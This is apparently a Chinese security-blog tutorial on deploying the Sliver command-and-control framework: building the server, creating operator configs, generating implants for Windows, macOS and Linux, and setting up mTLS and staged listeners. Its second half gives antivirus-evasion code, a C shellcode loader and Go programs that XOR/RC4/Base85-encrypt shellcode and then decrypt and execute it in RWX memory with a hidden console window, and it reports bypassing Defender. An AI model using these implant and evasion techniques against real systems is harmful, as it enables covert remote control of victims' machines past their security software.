吉祥知识星球http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247485367&idx=1&sn=837891059c360ad60db7e9ac980a3321&chksm=c0e47eebf793f7fdb8fcd7eed8ce29160cf79ba303b59858ba3a6660c6dac536774afb2a6330&scene=21#wechat_redirect
《网安面试指南》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484339&idx=1&sn=356300f169de74e7a778b04bfbbbd0ab&chksm=c0e47aeff793f3f9a5f7abcfa57695e8944e52bca2de2c7a3eb1aecb3c1e6b9cb6abe509d51f&scene=21#wechat_redirect
《Java代码审计》http://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484219&idx=1&sn=73564e316a4c9794019f15dd6b3ba9f6&chksm=c0e47a67f793f371e9f6a4fbc06e7929cb1480b7320fae34c32563307df3a28aca49d1a4addd&scene=21#wechat_redirect
前言
官方文档:https://github.com/BishopFox/sliver/wiki 下载地址:https://github.com/BishopFox/sliver
快速搭建
方法一(慢到怀疑人生):
git拉取,源码构建(需要下载git以及go编译环境【go最好不低于1.20】)
$ git clone https://github.com/BishopFox/sliver.git
$ cd sliver
Sliver 嵌入了自己的 Go 编译器副本和一些内部工具,第一次运行make
bash 脚本时会将这些资源下载到本地系统。这意味着第一次构建将比后续构建花费更长的时间默认情况下make
将构建当前运行的任何平台:
$ make
这将创建sliver-server
、sliver-client
的二进制文件。
交叉编译到特定平台
您还可以为文件指定目标平台make
,尽管您可能需要交叉编译器(见下文):
$ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
方法二(舒服):
github下载编译好的linux版本,上传到服务器
启动服务端
#直接启动
./sliver-server_linux
#后台运行
yum install screen #安装screen
screen #启动
./sliver-server_linux
Ctrl + A + D #退出screen终端
screen r #重新进入
screen -D -r #强制进入
image.png
支持多人运动
多人运动需要进行相关配置,启动后,server默认会监听一个端口31337,可以修改,位置在~/.sliver/configs/server.json
生成Client配置文件
new-operator --name xiaoai --lhost Server服务器IP #新建一个client
multiplayer #启用多用户
image.png
将生成的后缀为.cfg的配置文件下载到本地,然后github下载windows客户端。导入配置文件如下,开启多人运动。
生成shell
命令格式如下,缺点:(go打包,程序较大【10M+】)
generate --mtls <Server IP> --save ./test.exe --os Windows #生成Windows木马
generate --mtls <Server IP> --save ./test.exe --os mac #生成mac木马
generate --mtls <Server IP> --save ./test.exe --os linux #生成linux木马
命令详解: --mtls
:监听协议(包括http、mtls、grpc )
开启监听
如上一步,我们生成shell所用的监听协议为mtls
,故我们要配置mtls
类型的监听。在终端执行命令
mtls
通过输入jobs
命令,可以查看目前开启的监听。
image.png
默认端口是8888
如果要指定端口,执行命令
mtls -l 9999
查看生成过的shell
implants
image.png
运行shell后,server和client端都会得到会话的消息。可以通过sessions
查看目前的会话
免杀探究
使用原版生成的木马,可以过电脑管家,但是Defender和360和火绒会被杀掉。
直接过电脑管家
直接双击运行,电脑管家无感知上线如下:会话操作
sessions -i id #进入会话
sessions -k id #杀掉会话(类似CS的exit,谨慎使用)
image.png
简易Stager
在 Sliver C2 中,Stager 工作方式是基于一个配置文件(profiles),其中记载了一个 Implant(木马) 的所有定义及配置信息,该配置文件通过 profiles new
命令创建。
profiles new --http 127.0.0.1:9002 --skip-symbols --format shellcode --arch amd64 win64_stage #生成配置文件
http -l 9002 #开启监听
在有了配置文件之后,就可以创建一个分阶段监听器,可通过 TCP 或 HTTP(S) 协议来传输 Sliver ShellCode 至目标主机上。
# 创建分阶段监听器(木马回连通信端口)
stage-listener --url tcp://127.0.0.1:8443 --profile win64_stage
# 创建Stager(shellcode)
generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c
过程如下图:
通信连接图如下:
简单shellcode 加载器
使用C写的简单shellcode加载器,举个例子,这个编译出会直接被杀。
#include "windows.h"
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52"
...
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
思路这就打开了,和免杀CS一样了,各种加密混淆shellcode用来绕过杀软。
加密shellcode
package main
import (
"crypto/rc4"
"encoding/hex"
"fmt"
"github.com/eknkc/basex"
)
func main() {
key := []byte("xiaoaiaq")
message := "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x48\x31\xd2\x65\x48\x8b\x52\x60\x56\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x4d\x31\xc9\x48\x0f\xb7\x4a\x4a\......" // 原始消息
// XOR 操作
xordMessage := make([]byte, len(message))
for i := 0; i < len(message); i++ {
xordMessage[i] = message[i] ^ 0xff
}
// RC4 加密
cipher, _ := rc4.NewCipher(key)
rc4Message := make([]byte, len(xordMessage))
cipher.XORKeyStream(rc4Message, xordMessage)
// 转为十六进制
hexCiphertext := make([]byte, hex.EncodedLen(len(rc4Message)))
n := hex.Encode(hexCiphertext, rc4Message)
hexCiphertext = hexCiphertext[:n]
// Base85 编码
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
encodedMessage := base85.Encode(hexCiphertext)
fmt.Println(encodedMessage)
}
解密加载shellcode
package main
import (
"crypto/rc4"
"encoding/hex"
"syscall"
"unsafe"
"github.com/eknkc/basex"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
key := []byte("xiaoaiaq")
encodedMessage := "2^f3pZzEw)WqdyIsUOpY25$_kgn9_9Kue2kt%Ks+XEJCzoSerJ@IK^kNr|7Aiwamzt8g>&9m#z52lh=KnD!;7M4rwJ86>E$zvdNygVjaWO!>s7kQP;owW^?aZOaP!yVQ$lYx$e(rbb%gw#&ly6yreXU<LO~B!G575FerHX?~TC<0iP#&%?R@?~Fd......"
// 编码后的消息
// Base85 解码
base85, _ := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
hexCiphertext, _ := base85.Decode(encodedMessage)
// 转为二进制
rc4Message := make([]byte, hex.DecodedLen(len(hexCiphertext)))
n, _ := hex.Decode(rc4Message, hexCiphertext)
rc4Message = rc4Message[:n]
// RC4 解密
cipher, _ := rc4.NewCipher(key)
xordMessage := make([]byte, len(rc4Message))
cipher.XORKeyStream(xordMessage, rc4Message)
// XOR 操作
message := make([]byte, len(xordMessage))
for i := 0; i < len(xordMessage); i++ {
message[i] = xordMessage[i] ^ 0xff
}
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// 分配内存并写入 shellcode 内容
allocSize := uintptr(len(message))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, message)
// 执行 shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
过Defender
启动Defender,成功上线如下: